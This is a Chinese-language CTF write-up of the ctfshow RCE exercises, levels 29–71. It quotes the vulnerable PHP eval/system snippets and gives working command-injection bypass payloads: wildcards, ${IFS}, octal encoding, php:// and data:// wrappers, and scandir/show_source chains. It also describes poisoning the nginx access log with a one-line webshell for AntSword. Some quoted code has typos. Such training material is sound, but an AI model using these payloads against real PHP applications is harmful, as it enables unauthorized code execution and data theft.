接下来开始我们的RCE刷题SHOW

29:

if(isset(
$_GET['c’]));if(!preg_match("/flag/i",$c)){eval($c);
}else{
highlight file( FILE );

先看代码分析出来这个是命令执行,让我们get传参c,然后过滤了flag和他的大小写

那么payload就出来了:c=system('tac fl*.php');(也可以使用其他的查看符)

其他:c=system('tac fl""ag.php');c=system('tac fl``ag.php');c=system('ta\c fl\ag.php');等等

30:

if(isset($_GET['c’])){8c = S GETL'c’]:if(!preg_match("/flag|system|php/i", $c)){eval($c):
}else{
highlight_file( FILE);

和上面的差不多,就是过滤的多了

payload:

?c=passthru("tac fla*");

?c=echo`tac fla*`;

?c=$a=sys;$b=tem;$c=$a.$b;$c("tac fla*");

?c=echo shell_exec("tac fla*");

?c=eval($_GET[1]);&1=system("tac flag.php");

echo `nl fl''ag.p''hp`;(show答案)

31:

多过滤了cat sort 这个怎么越来越多了,可以进行传参:c=eval($_GET[a]);&a=system(‘cat flag.php’);也可以使用passthru(要注意过滤了空格)

32:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){

这个不知道为什么不可以用passthru做,不过没关系,可以使用伪协议做,但是首先要先传参:

palyoad:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

上面的可以使用到36,不过要注意一些过滤,比如空格什么的

37:

if(isset($_GET['c'])){   $c = $_GET['c'];   if(!preg_match("/flag/i", $c)){     include($c);     echo $flag;     } 
使用选择使用data:[?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

或者传小🐎:

?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可

然后一直到39关了上面的都大差不差

40:

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)

这个一下子给我弄不会了,

只能看wp做了:

法一

c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

法二

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

41:

然后41跑yu师傅脚本就ok了

42:

终于简单了;

if(isset($_GET['c'])){   $c=$_GET['c'];   system($c." >/dev/null 2>&1"); }else{   highlight_file(__FILE__); }

这行代码执行一个系统命令,该命令由变量 $c 的值指定。>/dev/null 2>&1 是一个 shell 重定向操作,意味着命令的标准输出(stdout)和标准错误(stderr)都被重定向到 /dev/null,即被丢弃,(个人理解是内容注释注释)用户不会看到任何输出结果 所以直接

/?c=cat flag.php||%0a

使用管道符进行绕过让他执行前面的

43:

比前面多过滤了cat、;,那就利用tac,uniq,less,more,strings,nl命令来打印,“||”分割

或者使用重定向:

nl%20flag.php| tee 1.txt

然后访问1.txt

44:

44呢和43差不多,就多了一个flag,可以?l*.php

45:

(多了cat):

if(!preg_match("/\;|cat|flag| /i", $c)){     system($c." >/dev/null 2>&1"); 
palyad:c=uniq${IFS}?l*.php||

46-53:

都差不多,可以多记点替代cat的和system以及空格的

54:

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))

过滤 了很多命令。 中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。

于是,有了payload

?c=/bin/ca?${IFS}????.???

然后 查看源码

55:

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c))
由于过滤了字母,但没有过滤数字可以考虑数字编码:

$'\164\141\143' $'\146\154\141\147\56\160\150\160'

也可以使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

56+57:

这个的话没看明白

58-65:

进行post传c,并且eval($c)

这里嘛,要引入新的函数:show_source,highlight_file;这两个都是对文件进行语法高亮显示

那么palyad就出来了:c=show_source(‘flag.php’);/highlight_file('flag.php');

或者可以利用文件包含写:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

66-67:

这个呢引入一个新的东西:

print_r(scandir("/"));(print_r或者也可以换成var_dump/var_export)和前面的一样不过在本目录下面没有flag.php/txt,那个新的东西是查看指定的目录,先返回根目录,然后就发现根目录下面存在着flag.txt,那个就可以show_source("/flag.txt");或者另一个;

68-70:

这一关禁用了highlight_file。依然可以使用上一关的var_dump结合scandir来显示根目录的文件列表。
c=var_dump(scandir('/'));之后show_source和highlight_file都用不了,试试include和require即可。

71:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

这个的话,查看源代码,可以看到他将数字和字母换成?了,那个可以利用缓冲区用exit();结束

提前终止程序,即执行完代码直接退出,可以调用的函数有:

exit();
die();

然后的话就是使用c=var_export进行扫描文件根目录:c=var_export(scandir(“/“));exit;再c=include(“/flag.txt”);exit();

剩下的以后再说,有点不会了。